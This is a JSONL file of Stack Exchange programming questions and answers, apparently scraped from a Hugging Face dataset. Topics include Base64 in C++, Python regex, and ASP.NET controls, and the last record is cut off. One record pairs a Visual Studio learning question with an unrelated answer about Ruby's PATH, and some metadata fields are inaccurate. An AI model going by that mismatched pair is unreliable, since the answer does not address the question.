{"id": "hf_ae196394dcb6", "question": "<p>Is there a freely available Base64 decoding code snippet in C++?</p>\n", "question_body": "", "answer": "See\nEncoding and decoding base 64 with C++\n.\nHere is the implementation from that page:\n```\n```\n/*\n   base64.cpp and base64.h\n\n   Copyright (C) 2004-2008 René Nyffenegger\n\n   This source code is provided 'as-is', without any express or implied\n   warranty. In no event will the author be held liable for any damages\n   arising from the use of this software.\n\n   Permission is granted to anyone to use this software for any purpose,\n   including commercial applications, and to alter it and redistribute it\n   freely, subject to the following restrictions:\n\n   1. The origin of this source code must not be misrepresented; you must not\n      claim that you wrote the original source code. If you use this source code\n      in a product, an acknowledgment in the product documentation would be\n      appreciated but is not required.\n\n   2. Altered source versions must be plainly marked as such, and must not be\n      misrepresented as being the original source code.\n\n   3. This notice may not be removed or altered from any source distribution.\n\n   René Nyffenegger rene.nyffenegger@adp-gmbh.ch\n\n*/\n\nstatic const std::string base64_chars =\n             \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n             \"abcdefghijklmnopqrstuvwxyz\"\n             \"0123456789+/\";\n\nstatic inline bool is_base64(unsigned char c) {\n  return (isalnum(c) || (c == '+') || (c == '/'));\n}\n\nstd::string base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len) {\n  std::string ret;\n  int i = 0;\n  int j = 0;\n  unsigned char char_array_3[3];\n  unsigned char char_array_4[4];\n\n  while (in_len--) {\n    char_array_3[i++] = *(bytes_to_encode++);\n    if (i == 3) {\n      char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;\n      char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);\n      char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);\n      char_array_4[3] = char_array_3[2] & 0x3f;\n\n      for(i = 0; (i <4) ; i++)\n        ret += base64_chars[char_array_4[i]];\n      i = 0;\n    }\n  }\n\n  if (i)\n  {\n    for(j = i; j < 3; j++)\n      char_array_3[j] = '\\0';\n\n    char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;\n    char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);\n    char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);\n    char_array_4[3] = char_array_3[2] & 0x3f;\n\n    for (j = 0; (j < i + 1); j++)\n      ret += base64_chars[char_array_4[j]];\n\n    while((i++ < 3))\n      ret += '=';\n\n  }\n\n  return ret;\n\n}\nstd::string base64_decode(std::string const& encoded_string) {\n  int in_len = encoded_string.size();\n  int i = 0;\n  int j = 0;\n  int in_ = 0;\n  unsigned char char_array_4[4], char_array_3[3];\n  std::string ret;\n\n  while (in_len-- && ( encoded_string[in_] != '=') && is_base64(encoded_string[in_])) {\n    char_array_4[i++] = encoded_string[in_]; in_++;\n    if (i ==4) {\n      for (i = 0; i <4; i++)\n        char_array_4[i] = base64_chars.find(char_array_4[i]);\n\n      char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);\n      char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);\n      char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];\n\n      for (i = 0; (i < 3); i++)\n        ret += char_array_3[i];\n      i = 0;\n    }\n  }\n\n  if (i) {\n    for (j = i; j <4; j++)\n      char_array_4[j] = 0;\n\n    for (j = 0; j <4; j++)\n      char_array_4[j] = base64_chars.find(char_array_4[j]);\n\n    char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);\n    char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);\n    char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];\n\n    for (j = 0; (j < i - 1); j++) ret += char_array_3[j];\n  }\n\n  return ret;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:59.694454"}
{"id": "hf_9acd7ef814d1", "question": "<p>Just updated build server with rc0 and surprise no chiron.  Wondering how you package up a xap file without chiron.</p>\n", "question_body": "", "answer": "Hey Brian, you can get chiron from\nhttp://www.codeplex.com/sdlsdk\n-- it was decided to be removed from the SL SDK core tools, but is still a part of the DLR SDK which is available.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:59.719680"}
{"id": "hf_dbe69a1985d8", "question": "<p>I have many years of experience in Java including Swing, Servlet and JDBC, but have never programmed for a Java EE server.</p>\n\n<p>Many job advertisements from large companies are specifically asking for Java EE experience.  Are there specific skills or development environments that I should learn to qualify for these kinds of jobs?</p>\n", "question_body": "", "answer": "Those jobs are most likely asking that you have experience with one or more of the major app server vendors, i.e. WebLogic, WebSphere, or JBoss. It's a bit different from what you're used to with servlets & JDBC, but it's still just Java. Typically you have to deal with things like JNDI lookups, dependency injection, messaging queues, maintaining application state between transactions, object/relational mapping, etc.\nI have found that for most Java EE projects, it's more about knowing how components and systems are configured and how they work together than it is about any specific programming skill. And you also spend a lot more time waiting for the server to start up ;);", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:59.744389"}
{"id": "hf_0112938a9ff3", "question": "<p>I am getting very frustrated because I cannot seem to figure out why Collections shuffling is not working properly.</p>\n\n<p>Lets say that I am trying to shuffle the <code>randomizer</code> array.  </p>\n\n<pre><code>int[] randomizer = new int[] {200,300,212,111,6,2332}; \nCollections.shuffle(Arrays.asList(randomizer));\n</code></pre>\n\n<p>For some reason the elements stay sorted exactly the same whether or not I call the shuffle method.  Any ideas? </p>\n", "question_body": "", "answer": "```\nArrays.asList\n```\ncannot be used with arrays of primitives. Use this instead:\n```\n```\nInteger[] randomizer = new Integer[] {200,300,212,111,6,2332}; \nCollections.shuffle(Arrays.asList(randomizer));\n```\n```\nThe same rule applies to most classes in the collections framework, in that you can't use primitive types.\nThe original code (with\n```\nint[]\n```\n) compiled fine, but did not work as intended, because of the behaviour of the variadic method\n```\nasList\n```\n: it just makes a one-element list, with the\n```\nint\n```\narray as its only member.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:59.768639"}
{"id": "hf_ab941c17123a", "question": "<p>Why does tempuri.org exist?  Why does each XML Webservice require its own namespace, unique from any other on the web?</p>\n", "question_body": "", "answer": "Unfortunately the\n```\ntempuri.org\n```\nURL now just redirects to Bing.\nYou can see what it used to render via\n```\narchive.org\n```\n:\nhttps://web.archive.org/web/20090304024056/http://tempuri.org/\nTo quote:\nEach XML Web Service needs a unique namespace in order for client\n  applications to distinguish it from other services on the Web.  By\n  default, ASP.Net Web Services use\nhttp://tempuri.org/\nfor this\n  purpose.  While this suitable for XML Web Services under development,\n  published services should use a unique, permanent namespace.\nYour XML Web Service should be identified by a namespace that you\n  control.  For example, you can use your company's Internet domain name\n  as part of the namespace.  Although many namespaces look like URLs,\n  they need not point to actual resources on the Web.\nFor XML Web Services creating[sic] using ASP.NET, the default namespace can\n  be changed using the WebService attribute's Namespace property.  The\n  WebService attribute is applied to the class that contains the XML Web\n  Service methods.  Below is a code example that sets the namespace to\n  \"\nhttp://microsoft.com/webservices/\n\":\nC#\n```\n```\n[WebService(Namespace=\"http://microsoft.com/webservices/\")]\npublic class MyWebService {\n   // implementation\n}\n```\n```\nVisual Basic.NET\n```\n```\n<WebService(Namespace:=\"http://microsoft.com/webservices/\")> Public Class MyWebService\n    ' implementation\nEnd Class\n```\n```\nVisual J#.NET\n```\n```\n/**@attribute WebService(Namespace=\"http://microsoft.com/webservices/\")*/\npublic class MyWebService {\n    // implementation\n}\n```\n```\nIt's also worth reading section 'A 1.3 Generating URIs' at:\nhttp://www.w3.org/TR/wsdl#_Toc492291092", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:59.793177"}
{"id": "hf_0e1d377242f2", "question": "<p>What is the difference between the <code>search()</code> and <code>match()</code> functions in the Python <code>re</code> module?</p>\n<p>I've read the <a href=\"https://docs.python.org/2/library/re.html?highlight=matching%20searching#search-vs-match\" rel=\"nofollow noreferrer\">Python 2 documentation</a> (<a href=\"https://docs.python.org/3/library/re.html#search-vs-match\" rel=\"nofollow noreferrer\">Python 3 documentation</a>), but I never seem to remember it.  I keep having to look it up and re-learn it.  I'm hoping that someone will answer it clearly with examples so that (perhaps) it will stick in my head.  Or at least I'll have a better place to return with my question and it will take less time to re-learn it.</p>\n", "question_body": "", "answer": "```\nre.match\n```\nis anchored at the beginning of the string. That has nothing to do with newlines, so it is not the same as using\n```\n^\n```\nin the pattern.\nAs the\nre.match documentation\nsays:\nIf zero or more characters at the\nbeginning of string\nmatch the regular expression pattern, return a\n  corresponding\n```\nMatchObject\n```\ninstance.\n  Return\n```\nNone\n```\nif the string does not\n  match the pattern; note that this is\n  different from a zero-length match.\nNote: If you want to locate a match\n  anywhere in string, use\n```\nsearch()\n```\ninstead.\n```\nre.search\n```\nsearches the entire string, as\nthe documentation says\n:\nScan through string\nlooking for a\n  location where the regular expression\n  pattern produces a match, and return a\n  corresponding\n```\nMatchObject\n```\ninstance.\n  Return\n```\nNone\n```\nif no position in the\n  string matches the pattern; note that\n  this is different from finding a\n  zero-length match at some point in the\n  string.\nSo if you need to match at the beginning of the string, or to match the entire string use\n```\nmatch\n```\n. It is faster. Otherwise use\n```\nsearch\n```\n.\nThe documentation has a\nspecific section for\n```\nmatch\n```\nvs.\n```\nsearch\n```\nthat also covers multiline strings:\nPython offers two different primitive\n  operations based on regular\n  expressions:\n```\nmatch\n```\nchecks for a match\nonly at the beginning\nof the string,\n  while\n```\nsearch\n```\nchecks for a match\nanywhere\nin the string (this is what\n  Perl does by default).\nNote that\n```\nmatch\n```\nmay differ from\n```\nsearch\n```\neven when using a regular expression\n  beginning with\n```\n'^'\n```\n:\n```\n'^'\n```\nmatches only\n  at the start of the string, or in\n```\nMULTILINE\n```\nmode also immediately\n  following a newline. The “\n```\nmatch\n```\n”\n  operation succeeds\nonly if the pattern\n  matches at the\nstart\nof the string\nregardless of mode, or at the starting\n  position given by the optional\n```\npos\n```\nargument regardless of whether a\n  newline precedes it.\nNow, enough talk. Time to see some example code:\n```\n```\n# example code:\nstring_with_newlines = \"\"\"something\nsomeotherthing\"\"\"\n\nimport re\n\nprint re.match('some', string_with_newlines) # matches\nprint re.match('someother', \n               string_with_newlines) # won't match\nprint re.match('^someother', string_with_newlines, \n               re.MULTILINE) # also won't match\nprint re.search('someother', \n                string_with_newlines) # finds something\nprint re.search('^someother', string_with_newlines, \n                re.MULTILINE) # also finds something\n\nm = re.compile('thing$', re.MULTILINE)\n\nprint m.match(string_with_newlines) # no match\nprint m.match(string_with_newlines, pos=4) # matches\nprint m.search(string_with_newlines, \n               re.MULTILINE) # also matches\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:59.818777"}
{"id": "hf_a181637e331f", "question": "<p>My application has no forms. It runs by calling Application.Run();</p>\n", "question_body": "", "answer": "Call\n```\n```\nSystem.Windows.Forms.Application.Exit();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:59.869416"}
{"id": "hf_9d3eedfc93ec", "question": "<p>Has anyone been able to implement the JQuery grid plugin, jqGrid? I'm trying to implement the JSON paging, and I feel like I'm getting close, but that I am also being swamped by inconsequential details. If anyone could post some sample code, I would greatly appreciate it.</p>\n", "question_body": "", "answer": "I'm just floundering trying to pull everything together. My first concern is simply generating a correct JSON response. My returned class appears to be serialised as a property named 'd' - is this a JQuery thing, or ASP.Net web method convention? I'm afraid that jqGrid will be looking for the data to be top-level, whereas asp.net will put it in a property called 'd':\n```\n```\n[WebMethod]\n    [ScriptMethod(ResponseFormat = ResponseFormat.Json)]\n    public static object GetData() {\n        TestClass tc = new TestClass() { One = \"Hello\", Two = \"World\" };\n        return tc;\n    }\n\n        $(\"#divResults\").click(function() {\n            $.ajax({\n                type: \"POST\",\n                url: \"GridData_bak.aspx/GetData\",\n                data: \"{}\",\n                contentType: \"application/json; charset=utf-8\",\n                dataType: \"json\",\n                success: function(test) {\n                    // Replace the div's content with the page method's return.\n                    $(\"#divResults\").text(test.d.One);\n                },\n                error: function(msg) {\n                    $(\"#divResults\").text(msg);\n                }\n            });\n        });\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:59.893059"}
{"id": "hf_6ad3540501f9", "question": "<p>I installed Ruby and Ruby on Rails yesterday on Vista 32bit using the directions on this site: <a href=\"http://rubyonrails.org/down\" rel=\"nofollow noreferrer\">http://rubyonrails.org/down</a></p>\n<p>So I downloaded the installer, then Gems, then I downloaded rails with Gems.</p>\n<p>Now I can't use the Gem or Ruby commands in the command line... so I assume there's something wrong with the environment variables, but I hav eno idea how to set them up in Vista or what to put.</p>\n<p>Can anyone help me with this?</p>\n", "question_body": "", "answer": "In the command line window type\n```\nPATH\n```\nthen hit return, do you see\n```\nruby.exe\n```\non the\n```\nPATH\n```\nenvironment variable?\nIf you installed ruby to say\n```\nc:\\ruby\n```\nthen it'll be\n```\nc:\\ruby\\bin\\\n```\n.\nLooks like it may be missing from the path.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:59.940885"}
{"id": "hf_0725c3e4065b", "question": "<p>I am trying to learn some of the basic and advanced features of visual studio, Anyone find sites that have this type of information ?</p>\n\n<p>I see this:</p>\n\n<p><a href=\"https://stackoverflow.com/questions/86355/best-way-to-learn-visual-studio-power-features\">https://stackoverflow.com/questions/86355/best-way-to-learn-visual-studio-power-features</a></p>\n\n<p>But it seems more related to tips and advanced features.</p>\n\n<p>All three versions ( 2003, 2005, 2008 ) </p>\n", "question_body": "", "answer": "In the command line window type\n```\nPATH\n```\nthen hit return, do you see\n```\nruby.exe\n```\non the\n```\nPATH\n```\nenvironment variable?\nIf you installed ruby to say\n```\nc:\\ruby\n```\nthen it'll be\n```\nc:\\ruby\\bin\\\n```\n.\nLooks like it may be missing from the path.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:59.968613"}
{"id": "hf_9b10edbb5de5", "question": "<p>With very large amounts of ram these days I was wondering, it is possible to allocate a single chunk of memory that is larger than 4GB? Or would I need to allocate a bunch of smaller chunks and handle switching between them?</p>\n\n<p>Why???\nI'm working on processing some openstreetmap xml data and these files are huge. I'm currently streaming them in since I can't load them all in one chunk but I just got curious about the upper limits on malloc or new. </p>\n", "question_body": "", "answer": "it depends on which C compiler you're using, and on what platform (of course) but there's no fundamental reason why you cannot allocate the largest chunk of contiguously available memory - which may be less than you need. And of course you may have to be using a 64-bit system to address than much RAM...\nsee\nMalloc\nfor history and details\ncall\nHeapMax\nin alloc.h to get the largest available block size", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:59.993031"}
{"id": "hf_c83428ac0ea8", "question": "<p>I would like to extract from a general HTML page, all the text (displayed or not).</p>\n\n<p>I would like to <strong>remove</strong> </p>\n\n<ul>\n<li>any HTML tags</li>\n<li>Any javascript</li>\n<li>Any CSS styles</li>\n</ul>\n\n<p>Is there a regular expression (one or more) that will achieve that?</p>\n", "question_body": "", "answer": "Using perl syntax for defining the regexes, a start might be:\n```\n```\n!<body.*?>(.*)</body>!smi\n```\n```\nThen applying the following replace to the result of that group:\n```\n```\n!<script.*?</script>!!smi\n!<[^>]+/[ \\t]*>!!smi\n!</?([a-z]+).*?>!!smi\n/<!--.*?-->//smi\n```\n```\nThis of course won't format things nicely as a text file, but it strip out all the HTML (mostly, there's a few cases where it might not work quite right). A better idea though is to use an XML parser in whatever language you are using to parse the HTML properly and extract the text out of that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:00.090157"}
{"id": "hf_f4c89531ebb7", "question": "<p>I wanted to do something like this:</p>\n\n<pre><code>&lt;asp:Label ID=\"lblMyLabel\" onclick=\"lblMyLabel_Click\" runat=\"server\"&gt;My Label&lt;/asp:Label&gt;\n</code></pre>\n\n<p>I know that in Javascript I can do:</p>\n\n<pre><code>&lt;span onclick=\"foo();\"&gt;My Label&lt;/span&gt;\n</code></pre>\n\n<p>So I'm wondering why I can't do that with a Label object.</p>\n", "question_body": "", "answer": "You can use Attributes to add onclick client side callback.\nI didn't know you can do this on span tags, but if it works you can add 'onclick' by\n```\nlblMyLabel.Attributes.Add(\"onclick\", \"foo();\");\n```\nBut\n```\nfoo();\n```\nwould need to be a client side javascript function.\n```\nSystem.Web.UI.WebControls.Label\n```\ndoes NOT have OnClick server event. You could look into using AJAX if you want server callback with example above.\nYou could also use\n```\nLinkButton\n```\nlike other say. You can make it not look like a link by using CSS, if it is just that underline you are concerned about.\nASPX:\n```\n```\n<asp:LinkButton ID=\"LinkButton1\" runat=\"server\" \n    CssClass=\"imjusttext\" OnClick=\"LinkButton1_Click\">\nLinkButton\n</asp:LinkButton>\n```\n```\nCSS:\n```\n```\na.imjusttext{ color: #000000; text-decoration: none; }\na.imjusttext:hover { text-decoration: none; }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:00.115065"}
{"id": "hf_4db4bc53fc0f", "question": "<p>I have a text file with multiple records. I want to search a name and date, for example if I typed <code>JULIUS CESAR</code> as name then the whole data about <code>JULIUS</code> will be extracted. What if I want only to extract information?</p>\n\n<pre><code>Record number: 1\nDate: 08-Oct-08\nTime: 23:45:01\nName: JULIUS CESAR\nAddress: BAGUIO CITY, Philippines\nInformation:\nI lived in Peza Loakan, Bagiou City\nA Computer Engineering student\nAn OJT at TIPI.\n23 years old.\n\nRecord number: 2\nDate: 09-Oct-08\nTime: 23:45:01\nName: JOHN Castro\nAddress: BAGUIO CITY, Philippines\nInformation:\nI lived in Peza Loakan, Bagiou City\nA Electronics Comm. Engineering Student at SLU.\nAn OJT at TIPI.\nMy Hobby is Programming.\n\n\nRecord number: 3\nDate: 08-Oct-08\nTime: 23:45:01\nName: CESAR JOSE\nAddress: BAGUIO CITY, Philippines\nInformation:\nHi,,\nI lived Manila City\nA Computer Engineering student\nWorking at TIPI.\n</code></pre>\n", "question_body": "", "answer": "If it is one line per entry, you could use a regular expression such as:\n```\n```\n$name = \"JULIUS CESAR\";\n```\n```\nThen use:\n```\n```\n/$name/i\n```\n```\nto test if each line is about \"JULIUS CESAR.\" Then you simply have to use the following regex to extract the information (once you find the line):\n```\n```\n/Record number: (\\d+) Date: (\\d+)-(\\w+)-(\\d+) Time: (\\d+):(\\d+):(\\d+) Name: $name Address: ([\\w\\s]+), ([\\w\\s]+?) Information: (.+?)$/i\n```\n```\n$1 = record number\n$2-$4 = date\n$5-$7 = time\n$6 = address\n$7 = comments\nI would write a code example, but my perl is rusty. I hope this helps :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:00.175813"}
{"id": "hf_e8c2cf4dc96a", "question": "<p>i have a databound GridView in asp.net 2.0 with a row-selection link. When a row is selected, I want to programmatically add a table row below the selected row, in order to nest another grid et al.</p>\n\n<p>I am researching this for a client and for an article, and i think my google-fu is not strong tonight. Any suggestions?</p>\n\n<p>EDIT: I actually had a working solution but Visual Studio was nutted up somehow; closing and re-opening VS and rebuilding everything fixed the problem ;-)</p>\n\n<p>My solution is posted below, please tell me how to make it better if possible. Thanks!</p>\n", "question_body": "", "answer": "I think I figured it out. Here is a solution that seems to work. It could be improved using user controls but this is the gist of it:\n```\n```\nprotected void GridView1_RowDataBound(object sender, GridViewRowEventArgs e)\n{\n    if (e.Row.RowType == DataControlRowType.DataRow && \n        (e.Row.RowState & DataControlRowState.Selected) > 0)\n    {\n        Table tbl = (Table)e.Row.Parent;\n        GridViewRow tr = new GridViewRow(e.Row.RowIndex + 1, -1,\n            DataControlRowType.EmptyDataRow, DataControlRowState.Normal);\n        TableCell tc = new TableCell();\n        tc.ColumnSpan = GridView1.Columns.Count;\n        tc.Controls.Add(\n            makeChildGrid(Convert.ToInt32(\n                ((DataRowView)e.Row.DataItem)[\"ROW_ID_FIELD\"])));\n        tr.Cells.Add(tc);\n        tbl.Rows.Add(tr);\n    }\n}\n\nprotected GridView makeChildGrid(int id)\n{\n    GridView gv = new GridView();\n    SqlDataSource sqlds = new SqlDataSource();\n    sqlds.DataSourceMode = SqlDataSourceMode.DataSet;\n    sqlds.ConnectionString = SqlDataSource1.ConnectionString;\n    sqlds.SelectCommand = \"SELECT * from MY_TABLE_NAME \" +\n        \"WHERE KEY_FIELD = \" + id.ToString();\n    DataView dv = (DataView)sqlds.Select(DataSourceSelectArguments.Empty);\n    gv.DataSource = dv;\n    gv.DataBind();    //not sure this is necessary...?\n    return gv;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:00.200333"}
{"id": "hf_c7a953d44d91", "question": "<p>I was wondering if you know somewhere where I can find information on how to build a signature file for docuement retrieval. <br>\nDo you know if there is some code out there that I can use or look at?<br>\nI have to create a signature file in C++ under linux platform.<br>\n<br>\n<b>UPDATE: Sorry, I appreciatte the help but I was refering to signature files not as a way to validate documents but as a way of indexing documents.<br><br><br>\n<a href=\"http://en.wikipedia.org/wiki/Signature_files\" rel=\"nofollow noreferrer\">http://en.wikipedia.org/wiki/Signature_files</a><br><br><br></b>\nAny help will be greatly appreciated.</p>\n\n<p>Thanks,</p>\n", "question_body": "", "answer": "md5sum\nmight be what you are looking for. Source code for generating md5 signatures is available if you Google around.\nFrom Wikipedia:\nBecause almost any change to a file\n  will cause its MD5 hash to also\n  change, the MD5 hash is commonly used\n  to verify the integrity of files\n  (i.e., to verify that a file has not\n  changed as a result of file transfer,\n  disk error, meddling, etc.). The\n  md5sum program is installed by default\n  in most Unix, Linux, and Unix-like\n  operating systems or compatibility\n  layers. BSD variants (including Mac OS\n  X) have a similar utility called md5.\n  Versions for Microsoft Windows do\n  exist.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:00.244240"}
{"id": "hf_c09f509be5a6", "question": "<p>In VB.NET I often <code>Catch…When</code>:</p>\n\n<pre><code>Try\n    …\nCatch e As ArgumentNullException When e.ParamName.ToUpper() = \"SAMPLES\"\n    …\nEnd Try\n</code></pre>\n\n<p>Is there a C# equivalent to <code>Catch…When</code>?</p>\n\n<p>I don't want to resort to using an <code>if</code> statement inside a <code>catch</code> if possible.</p>\n", "question_body": "", "answer": "There's no equivalent to\n```\nCatch…When\n```\nin C#. You will really have to resort to an\n```\nif\n```\nstatement inside your\n```\ncatch\n```\n, then rethrow if your condition isn't fulfilled:\n```\n```\ntry\n{\n    …\n}\ncatch (ArgumentNullException e)\n{\n    if (\"SAMPLES\" == e.ParamName.ToUpper())\n    {\n        … // handle exception\n    }\n    else\n    {\n        throw;  // condition not fulfilled, let someone else handle the exception\n    } \n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:00.280848"}
{"id": "hf_c3857a7b2cc2", "question": "<p>I have an asp.net text form that contains numerous decimal fields that are optional. I want to selectively update the database but not inserting a \"0\" for fields that do not have data (maintaining the null status). </p>\n\n<p>Typically, I would create multiple functions, each with a different signature to handle this. However, I am inserting the data through a webservice which does not allow a function with the same name to have multiple signatures. I can think of a couple ways to work around this, but none \"pragmatically\".</p>\n", "question_body": "", "answer": "You could use the\nDBNull class\nto represent a null value on your web service code.\nWhile you would still have to use a surrogate value (e.g., 0 or -1), and then just evaluate that value to convert it into the\n```\nDBNull\n```\nobject.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:00.342032"}
{"id": "hf_a6e37bababd1", "question": "<p>Is there anyway to build a solution to target 64 bit environment in vs2003? My solution is native c++ not visual c++. Any help would be greatly appreciated.</p>\n\n<p>cheers,</p>\n\n<p>RWendi</p>\n", "question_body": "", "answer": "This page on 2003's lack of 64-bit targeting seems to address your issue:\nhttp://www.toymaker.info/Games/html/64_bit.html\n.\nThe first step was to set up my development environment for 64 bit development. I use Visual Studio 2003 which has little built in support for 64 bit development.\nIn order to create 64 bit applications you need to install the latest Platform SDK from Microsoft (Microsoft Platform SDK for Windows Server 2003). The SDK, as well as having libraries for 32 bit programming, has 64 bit versions for AMD64 and IA64 (Intel) development.\nGetting the correct library and header file paths set up in Visual Studio proved surprisingly difficult. I wanted the choice of developing 32 bit or 64 bit projects. While the platform SDK comes with command files to set up the correct paths they wipe out any other paths. Since T2 uses DirectX I also needed the DirectX paths setting correctly.\nUpgrading to a newer edition of Visual Studio looks like the safer, non-hackish solution, if possible.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:00.379213"}
{"id": "hf_75b1be16428f", "question": "<p>Implementing a file upload under html is fairly simple, but I just noticed that there is an 'accept' attribute that can be added to the <code>&lt;input type=\"file\" ...&gt;</code> tag.</p>\n\n<p>Is this attribute useful as a way of limiting file uploads to images, etc? What is the best way to use it?</p>\n\n<p>Alternatively, is there a way to limit file types, preferably in the file dialog, for an html file input tag?</p>\n", "question_body": "", "answer": "Accept attribute was introduced in the\nRFC 1867\n, intending to enable file-type filtering based on MIME type for the file-select control. But as of 2008, most, if not all, browsers make no use of this attribute. Using client-side scripting, you can make a sort of extension based validation, for submit data of correct type (extension).\nOther solutions for advanced file uploading require Flash movies like\nSWFUpload\nor Java Applets like\nJUpload\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:00.404814"}
{"id": "hf_5e7b6b6b8484", "question": "<p>I am using an authentication attribute on some of my actions in an asp.net mvc page to refer people to a login screen if they have not authenticated.  My problem is returning them to the referring page after they have logged in.  I was just keeping track of the referring action and referring controller but that becomes problematic when I also need to keep track of some parameters.  Is there some nifty built in trick about which I don't know?</p>\n", "question_body": "", "answer": "What I did to achieve that result might be overdoing it, and I'd like to see some other methods as well. However, here's my code.\nPlease note it's using Moq to mock a context... And, I haven't done anything with the querystring yet (my routes don't contain any querystrings).\n```\n```\nvar urlReferrer = Request.UrlReferrer;\nif (urlReferrer != null)\n{\n    var url = \"~\" + Server.UrlDecode(urlReferrer.PathAndQuery);\n\n    // get routecollection\n    var routeCollection = new RouteCollection();\n    GlobalApplication.RegisterRoutes(routeCollection);\n\n    // mcok context\n    var context = new Mock<HttpContextBase>();\n    var request = new Mock<HttpRequestBase>();\n    context.Expect(ctx => 